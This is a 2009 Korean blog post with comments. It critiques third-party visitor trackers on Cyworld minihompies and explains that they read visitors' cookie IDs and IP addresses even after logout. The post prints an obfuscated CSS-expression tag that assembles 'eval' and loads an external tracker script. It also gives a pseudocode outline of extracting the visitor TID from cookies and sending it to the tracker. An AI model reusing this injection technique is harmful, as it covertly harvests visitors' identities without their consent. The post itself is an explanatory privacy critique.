2009년 01월 29일
싸이월드 방문자 추적기 이야기
싸이월드와는 적잖게 다른 경향이지만 일본의 SNS인 mixi는 대놓고 足あと/발자취 라는 페이지가 있습니다.
발자국. 그러니까 최근에 내 mixi에 찾아왔던 넘들의 기록을 뿌려주는거죠.

대략 저런 형태입니다.
그렇게 짝사랑하는 사람의 프로필/일기/사진첩을 봤다는 흔적을 남기지 않고 몰래 보고 싶어도 그렇게는 할 수 없고 상대방의 페이지를 방문한 순간 어쩔 수 없이 자신의 발도장을 찍게 되는 구조인거죠. (다른 계정을 만든다는지 하는 식의 우회에 대해 이야기하고 싶으신 분도 물론 계시겠지만, 어쨌거나 '어떤 종류의 사람이 언제 방문했다' 하는건 분명히 인지할 수 있도록 마련해 둔 것에 포인트를 두겠습니다)
싸이월드에서는 즐거운 미니 홈피 생활을 방해하는 악의 원흉으로 취급되고 있는, 방문자 추적기를 시스템적으로 대놓고 제공하고 있는 걸 볼 수 있어요.
어쨌든 덕분에 몰래 상대방의 페이지에 들어가서 상대방의 최근 뻘짓을 구경하는 재미를 어느정도 사전봉쇄해 주는 역할을 해주고 있습니다.
반대로 싸이월드의 경우에는 누가 언제 방문했다와 같은 종류의 통계는 제공하고 있지 않습니다.
정확히 어떤 종류의 이유 때문인지 모르겠지만, 그런 기록을 제공할 때 발생할 수 있는 미니홈피 방문자의 프라이버시라든가, 미니홈피니까 가능한 관음증 충족(...)이라든가 뭐 그런 이유가 아닐까라고 일단은 생각해둘까요?
그런 종류의 이야기를 하려는 것도 아니고요.
하지만 자신의 작은 집을 꾸미는 아가씨 입장에서는 도대체 어떤 넘이 내 미니홈피를 들락날락거리며 투데이 수를 올리고 있는 것일까 하는 것 또한 너무너무 궁금한게 사실입니다.
자신은 전혀 모르는 넘들이 당신 딸의 집에 찾아와서 사진첩 일기장 방명록 뒤적이면서 침 질질 흘리며 하악거리는걸 당신이라면 용서할 수 있을까요? -_- 당신 딸 집에 찾아오는 것도 용서가 안되는데 당신 자신의 집에 찾아오는 것은 더더욱 용서될리가 없잖아요.
그래서 제3자가 제작해 유료로 서비스하는 방문자 추적 프로그램(일종의 카운터라고 할 수도 있을 것 같네요)이 많은 각광을 받고 있습니다.
계속 예전부터 신경쓰였던 남자애가 있었는데요.
혹시나 싶어서 방문자 추적기를 깔게 되었는데.
아니나 다를까 매일같이 제 싸이를 들락거리는걸 확인했답니다.
역시 저에게 마음이 있다는 증거겠죠? ^^)- 17세소녀 N모양의 사용후기
그렇게 싸이월드의 방문자 추적 프로그램은,
어장관리를 하시는 분들에게는 애완물고기 수를 통계내거나, 혹은 내 남친이 바람피고 있지는 않은지, 아니면 헤어졌지만 아직도 그 애가 날 그리워하는지 확인하기 위한 덫 식으로, 본래의 목적이 무엇이었든지 간에-_-남들과의 심리전에 매우 도움이 될듯한, 그런 유용한-_- 툴로서 자리매김하고 있습니다.
깊이 생각해보면 정말 무섭죠. 자주 남의 미니홈피 들락거리면 어느날 갑자기 자길 마음에 두고 있는 줄 알고 오해하는 일이 생길 수도 있다구요.
그러니까 찼으면 절대 그 넘 미니홈피 들어가지 마!! 어장관리 뻔한 것 같으면 들어가서 관심을 주지 말란 말야! 떡밥에 물리지 좀 말라고!!
사실 제가 이 글을 쓰게 된 것 역시 무심코 제 지인 미니홈피를 찾아다녀보던 중에 이 방문자 추적기(-_-)의 지뢰를 건드렸기 때문이었지요.
어쨌든 기왕 지뢰를 건드리게 된 김에 어떤 식으로 되어 있는지나 구경해보려고 합니다.
<P><div STYLE='background-color:expression((new function(){if(fnGoNavHompy!="1"){av="ev"+"al"; window[av]("document.getElementsByTagName('script')")[0].src="URL"; fnGoNavHompy="1";}}));'></P>
사진첩에 매겨져있던 태그를 복붙해와 보았습니다.
아무튼 이런 식으로 추적기가 호스팅되고 있는 사이트의 자바스크립트를 호출하도록 하고 있네요.
이제 그럼 이 자바스크립트는 어떤 내용이 들어있나...
if(document.cookie) {
싸이월드쿠키에서유저TID추출해서추적기URL로넘겨주긔
}
'나도 만들어보자, 싸이월드 방문자 추적기!' 이런 글이 아니니까 확 내용을 줄였습니다만. (-.-)
대략 저런 내용....이라는 거죠. 컴퓨터에 저장되어 있는 싸이월드 쿠키 데이터를 가공해서 추적기에 넘겨주는 겁니다.
사실 브라우저의 부실한 쿠키관련 보안 처리(다른 주소의 자바스크립트를 불러와서 그 주소의 자바스크립트가 이 주소의 이런저런 내용을 아무렇지 않게 읽어올 수 있도록 한 부분)가 문제의 원흉인 것 같기는 하네요.
그렇다면 쿠키 보안 설정을 좀 높게 잡으면 싸이월드의 유저 쿠키를 가지고 와서 방문한 유저의 TID를 빼낼 수 있을 리가 없겠죠? 하지만 다들 아시다시피 쿠키를 허용하지 않거나 쿠키 보안 설정을 너무 높게 잡아두면 싸이월드 뿐만 아니라 다른 웹서비스를 이용하는데도 굉장히 불편해집니다. 더군다나 한국에서는요.
그렇다면 '얘 미니홈피엔 추적기가 달려 있는거 같지만 착실히 로그아웃하고서 들어가면 추적 안되겠지?'라고 생각하고 계신 분 있으세요? 저도 그렇게 생각했던 시절이 있었어요.
하지만 천만에요. 로그아웃했던 바로 그 당신의 싸이월드 홈피 정보는 이미 고스란히 추적기에게 넘어갔답니다☆

싸이월드에 로그인했다가 로그아웃한 뒤의 쿠키 데이터입니다. 보라색으로 칠해둔 저 부분입니다. 제 미니홈피 고유ID가 고스란히 그대로 남아있는걸 볼 수 있지요. 로그인 되어 있어도, 로그아웃 되어 있어도 싸이월드 고유ID는 쿠키로 남아 쿠키값 읽고 싶소 하는 요청이 올경우 그 값을 돌려줄 준비를 하고 있다는 것입니다.
그럼 한번 걸린건 어쩔 수 없으니까, 이제 앞으로는 쿠키 데이터까지 수동으로 확실히 지우고서 방문하면 내가 누군지 걸리지 않겠지? 라고 생각할 수도 있겠지만, 안타깝게도 방문 추적기 페이지에 액세스한 순간 당신의 고유ID와 함께 IP 주소도 넘어가버렸다는 걸 잊지 말아주세요.
요즘 서비스되고 있는 일반적인 싸이월드 방문 추적기들은 각종 미니홈피에 설치되어 있는 넓은 유저층의 추적기를 통해 수집한 IP주소+고유ID 데이터들을 기반으로 IP주소만 가지고도 방문한 사람이 누구였을지 추측해주는 기능까지 제공합니다. 쿠키까지 모두 지웠다 하더라도 IP주소를 기반으로 당신이 누굴거라는 추측을 할 수 있다는 이야기입니다.
걸리고 싶지 않다면 앞으로는 쿠키 설정도 지우고 프록시를 이용해주세요.
하긴 방문자 추적 사이트로 연결되는 URL을 액세스되지 않도록 차단하면 되긴 합니다만, 방문자 추적 사이트들 종류가 한두개도 아니고... 싸이월드 측에서도 지속적인 단속을 하고 있어서인지 잠깐 사이트 폐쇄하고서 추적기의 IP나 주소 바꿔서 다시 오픈하기도 하는 식의 게릴라전도 펼치더라구요.
어휴 방문한거 걸리는거 무서워서 미니홈피 몰래 찾아갈 수 있겠나요. 싸이월드 유저 급감에 방문자 추적기도 한 몫 하지 않았을까 하는 음모론까지 제기하고 싶어질 지경입니다.
하지만 이런 식의 싸이월드 방문 추적기의 동작 방식은 최근에 구현된 것도 아닌지라, 근본적인 원인을 이미 파악했을텐데도 여전히 이런 식으로 로그아웃한 후에까지 고유ID를 쿠키에 눈에 띄게 남겨놓은 구조는 SKC가 혹시 방문 추적기 업체와 수익 분배라도 하고 있는거 아닌가 하는 괜한 의심을 사게 만드는 부분이기도 합니다.
그리고 로그아웃된 상태가 아니라 로그인되어 있는 상태라 하더도 접속자의 고유ID를 반출시켜서 그걸 이용해 맘대로 역추적하는 장난질을 할 수 있도록 할 여건을 만들어 둔 건 좀 그렇다고 생각합니다. 저보다 잘 아실 웹개발자분들께서 왜 그러셨을까요. 저렇게 쿠키에 생짜로 이것저것 담아두지 말고 세션을 쓴다든가 세션을 쓴다든가 세션을 쓴다든가... 같은건 어려웠을지요.
그렇게 할 베짱이 없다면 상단에 언급한 mixi의 경우처럼 아예 싸이월드에 로그인하지 않으면 미니홈피들을 볼 수 없게끔 하고서 누가 방문했는지 볼 수 있는 서비스를 제공하는 것이 차라리 낫지 않을까 싶은 생각이 들기도 합니다.
무슨 간첩잡기 게임도 아니고, 내가 아주 쪼~끔 관심 가진 여자애 미니홈피 한번 들어갈 때마다 추적기 깔려 있을까봐 ㄷㄷㄷ...해야 한다는건 쫌...ㅠㅅㅠ
이 글과 관련있는 글을 자동검색한 결과입니다 [?]
- 싸이월드 역추적기 감상문. by Memyself
- cyworld와 blog의 방문자 수 비교 by lshlj
- 아꾸의 노래가 듣고싶어ㅇㅅㅇ? by 아꾸
- 싸이월드 악연 by 레이
- 무서워요!! 싸이월드 네이트온 너무해!!ㅠㅠ by 난병신
# by | 2009/01/29 19:04 | 트랙백 | 덧글(15)






☞ 내 이글루에 이 글과 관련된 글 쓰기 (트랙백 보내기) [도움말]
그녀에 어장에 파닥거리는걸 들키고 말았다
기왕 찾은 김에 링크도 신고합니다. 잘부탁드려요.
로그아웃했는데도 접속자 정보를 그렇게 긁어대면... 그것도 좀 지나친거같네요
틸더마크 님 // 안녕하세요, 이런 미천한 절 다 기억해주셔서 감사합니다ㅠㅠ 제 머리가 좀 닭이라서 틸더마크 님의 핸들네임이 안 떠오르는데에;;; 아이리스 CGI 시절 분이시려나;;; 아무튼 열심히 떠올려볼게요 _-_;;; 감사합니다 (_ _)
ZBRANSTRIM 님 // ㄷㄷㄷ... 사실 좀 미니홈피에 추적기를 거는 남녀들의 심리 분석 같은 글을 써야 제대로 반향이 있을텐데 어느정도는 공돌스런 내용이라서. 좀 그렇죠 네-_-;;
센코 님 // 뭐 그런 목적으로 운영되는 추적기 사이트인걸요. 그렇긴 한데 로그아웃했을 때에도 접속자 정보를 쿠키에서 안 지우는 싸이월드도 좀 이상한 것 같습니다...
앞으로도 잘 부탁드려요~ :$
조심(?)해야 겠습니다.
프레임웍으로 개발했다면 해당하는 클래스 부분만 보면 될 터인데
절차지향 구조에서는 막막할듯...
개발자분들 다른 일로도 바쁘실거고 추적기 한번 막아보자고 기획을 다시 하기도 좀 그럴듯(추적기 막아서 매출이 증가한다면 모를까?)
그리고 뭐 document.cookie까지 할 필요도 없이 ID랑 TID는 싸이에서 전역변수로 제공해줍니다.
자바스크립트 내용 보시면 이런 부분이 있어요. 그냥 저거 갖다가 추적기로 넘기면 됩니다.
var global_id = 방문자TID;
var global_tid = 주인장TID;
그런데 전역변수로 제공해주는 저것은 로그아웃하고서 들어갈 경우에는 안띄워주니까 로그인 상태만 아니면 별 상관 없을지도 모르겠는데 로그아웃했는데도 방문자TID가 넘어가는게 신기하길래 봤더니 쿠키에 방문자TID가 여전히 남아있더라구요..
세션 이야기가 나와서요 ㅎㅎ 저도 웹 서비스를 개발하고 있는데... 세션이 부담이 커서 쿠키를 사용한답니다.
IRiS 정말 잘 사용했었습니다!! 감사합니다.
tid 인코딩 정도로 어떻게 안될까... 하는 생각도 들기도 하지만 뭐 알아서 하겠죠? -_-;;
회신이 늦었습니다. 여전히 기억해주시는 분들을 발견할 때마다 기쁘기도 하고... ^^;;
글 남겨주셔서 감사합니다. (_ _)